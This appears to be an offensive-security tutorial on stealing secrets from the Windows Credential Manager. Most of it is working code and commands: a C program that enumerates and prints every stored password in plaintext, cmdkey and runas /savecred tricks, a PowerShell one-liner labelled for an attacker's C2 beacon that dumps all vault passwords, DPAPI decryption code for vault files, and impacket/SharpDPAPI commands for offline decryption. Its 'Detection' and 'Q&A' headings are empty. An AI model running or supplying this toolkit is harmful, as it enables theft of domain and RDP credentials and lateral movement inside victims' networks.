Windows Credential Manager Enumeration

Dumping domain credentials, RDP saved passwords, and application secrets stored in the Credential Vault using CredEnumerate/CredRead and direct vault file decryption via DPAPI

Windows Credential Vault Architecture

Credential Type Reference

Full Credential Dump via CredEnumerateW + CredReadW

#include <windows.h>
#include <wincred.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")

const char* CredTypeStr(DWORD t) {
    switch(t) {
        case CRED_TYPE_GENERIC:                   return "Generic";
        case CRED_TYPE_DOMAIN_PASSWORD:           return "DomainPassword";
        case CRED_TYPE_DOMAIN_CERTIFICATE:        return "DomainCertificate";
        case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:   return "DomainVisible";
        case CRED_TYPE_GENERIC_CERTIFICATE:       return "GenericCertificate";
        case CRED_TYPE_DOMAIN_EXTENDED:           return "DomainExtended";
        default: return "Unknown";
    }
}

void PrintCredential(CREDENTIALW *cred) {
    wprintf(L"\n[+] Credential:\n");
    wprintf(L"    TargetName : %s\n", cred->TargetName   ? cred->TargetName   : L"(none)");
    wprintf(L"    UserName   : %s\n", cred->UserName     ? cred->UserName     : L"(none)");
    wprintf(L"    Comment    : %s\n", cred->Comment      ? cred->Comment      : L"(none)");
    printf("    Type       : %s (%lu)\n", CredTypeStr(cred->Type), cred->Type);

    // The credential blob contains the password.
    // For CRED_TYPE_DOMAIN_PASSWORD, CredentialBlob is a UNICODE string (not null-terminated).
    // For CRED_TYPE_GENERIC, could be binary or a string depending on the app.
    if (cred->CredentialBlobSize > 0 && cred->CredentialBlob) {
        printf("    CredBlob   : ");
        if (cred->Type == CRED_TYPE_DOMAIN_PASSWORD ||
            cred->Type == CRED_TYPE_GENERIC        ||
            cred->Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD) {
            // Print as Unicode string (blob is UTF-16LE, not null-terminated)
            DWORD charCount = cred->CredentialBlobSize / sizeof(WCHAR);
            wprintf(L"%.*s\n", charCount, (WCHAR*)cred->CredentialBlob);
        } else {
            // Print raw bytes as hex for binary blobs
            for (DWORD i = 0; i < cred->CredentialBlobSize; i++)
                printf("%02x", cred->CredentialBlob[i]);
            printf("\n");
        }
    } else {
        printf("    CredBlob   : (empty)\n");
    }
    wprintf(L"    LastWritten: %llu\n",
            ((ULONGLONG)cred->LastWritten.dwHighDateTime << 32) |
            cred->LastWritten.dwLowDateTime);
}

void DumpAllCredentials() {
    PCREDENTIALW *creds = NULL;
    DWORD count = 0;

    // Enumerate all credentials for the current user
    // CredEnumerateW with filter=NULL returns all credentials
    // This call transparently decrypts via DPAPI — no extra steps needed
    if (!CredEnumerateW(NULL, 0, &count, &creds)) {
        DWORD err = GetLastError();
        if (err == ERROR_NOT_FOUND) {
            printf("[-] No credentials stored in Credential Manager\n");
        } else {
            printf("[-] CredEnumerateW failed: %lu\n", err);
        }
        return;
    }

    printf("[*] Found %lu credentials\n", count);

    for (DWORD i = 0; i < count; i++) {
        PrintCredential(creds[i]);
    }

    CredFreeW(creds);
}

// Targeted read: read a specific credential by target name and type
BOOL ReadSpecificCredential(const WCHAR *targetName, DWORD type) {
    CREDENTIALW *cred = NULL;
    if (!CredReadW(targetName, type, 0, &cred)) {
        printf("[-] CredReadW failed: %lu\n", GetLastError());
        return FALSE;
    }
    PrintCredential(cred);
    CredFreeW(cred);
    return TRUE;
}

int wmain() {
    printf("=== Credential Manager Dump ===\n");
    DumpAllCredentials();

    // Target specific high-value credential types
    printf("\n=== Targeted: Domain Password Credentials ===\n");
    PCREDENTIALW *domainCreds = NULL;
    DWORD domainCount = 0;
    // Filter: enumerate only CRED_TYPE_DOMAIN_PASSWORD
    if (CredEnumerateW(NULL, 0, &domainCount, &domainCreds)) {
        for (DWORD i = 0; i < domainCount; i++) {
            if (domainCreds[i]->Type == CRED_TYPE_DOMAIN_PASSWORD) {
                PrintCredential(domainCreds[i]);
            }
        }
        CredFreeW(domainCreds);
    }
    return 0;
}

Vault Files on Disk — Direct Parsing

When running as a different user, impersonating another token, or examining an offline disk, you work with the raw vault files. They are encrypted DPAPI blobs. Credential Manager stores Windows Credentials (type 1 and 2) in %LOCALAPPDATA%\Microsoft\Credentials\ and Web Credentials in %LOCALAPPDATA%\Microsoft\Vault\:

cmdkey.exe LOLBin — Listing Stored Credentials

The built-in cmdkey.exe can list all stored credentials without invoking the API directly. Useful for quick reconnaissance from a shell:

# List all stored credentials (no password shown — just existence check)
cmdkey /list

# Example output:
# Target: Domain:target=server01.corp.local
#   Type: Domain Password
#   User: CORP\backupadmin
#
# Target: MicrosoftOffice16_Data:SSPI:outlook.office365.com
#   Type: Generic
#   User: jdoe@corp.com
#
# Target: LegacyGeneric:target=TERMSRV/192.168.1.50
#   Type: Generic
#   User: administrator

# RDP (TERMSRV) targets — valuable for lateral movement
# These are saved when a user checks "Remember my credentials" in RDP
# cmdkey /add can also ADD credentials to be used with runas or net use:
runas /savecred /user:CORP\administrator "cmd.exe"
# If credentials were saved for that account, this will run without a password prompt

# Extract via wmic (alternate LOLBin path):
wmic useraccount get name,sid   # get SIDs to correlate vault files to users

# From attacker's C2 beacon — PowerShell one-liner dump:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]::new().RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ } | Select UserName, Resource, Password

Manual DPAPI Decryption of Vault Blobs

For offline disk forensics or when running as a different user, decrypt vault blobs manually by extracting the DPAPI blob from the file and calling CryptUnprotectData (if running as the owning user) or by using the master key + SharpDPAPI/impacket for offline decryption:

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")

// Minimal structure for a Credentials file header (approximate — varies by Windows version)
typedef struct _CRED_FILE_HEADER {
    DWORD dwVersion;
    DWORD dwCount;
    DWORD dwFlags;
    BYTE  reserved[52];
    // Followed by DPAPI DATA_BLOB
} CRED_FILE_HEADER;

BOOL DecryptCredentialFile(const char *filePath) {
    HANDLE hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ,
                                 NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE *buf = (BYTE*)malloc(fileSize);
    DWORD read = 0;
    ReadFile(hFile, buf, fileSize, &read, NULL);
    CloseHandle(hFile);

    // The DPAPI blob begins at offset 60 in a standard credential file
    // (this offset varies — use a real parser like SharpDPAPI for production)
    DWORD dpapi_offset = 60;
    DATA_BLOB inBlob, outBlob;
    inBlob.cbData = fileSize - dpapi_offset;
    inBlob.pbData = buf + dpapi_offset;

    // Running as the owning user: CryptUnprotectData handles master key lookup
    if (CryptUnprotectData(&inBlob, NULL, NULL, NULL, NULL, 0, &outBlob)) {
        printf("[+] Decrypted %lu bytes\n", outBlob.cbData);
        // outBlob.pbData contains the serialized CREDENTIAL structure
        // Parse CREDENTIAL_ATTRIBUTE structs to extract username and password
        printf("    Raw bytes: ");
        for (DWORD i = 0; i < min(outBlob.cbData, (DWORD)64); i++)
            printf("%02x ", outBlob.pbData[i]);
        printf("\n");
        LocalFree(outBlob.pbData);
    } else {
        printf("[-] CryptUnprotectData failed: %lu\n", GetLastError());
        // ERROR_INVALID_HANDLE (6) = running as wrong user / no access to master key
    }

    free(buf);
    return TRUE;
}

// Offline decryption (different user, offline disk) — use impacket or SharpDPAPI:
// SharpDPAPI credentials /pvk:domain_backup_key.pvk
// impacket secretsdump: will decrypt DPAPI credentials if backup key is provided
// dpapi.py masterkey /target:MASTERKEY_FILE /system:SYSTEM_hive → master key
// dpapi.py credential /target:CRED_FILE /masterkey:decrypted_key → plaintext

Dumping Another User's Credentials via Token Impersonation

Detection

Q&A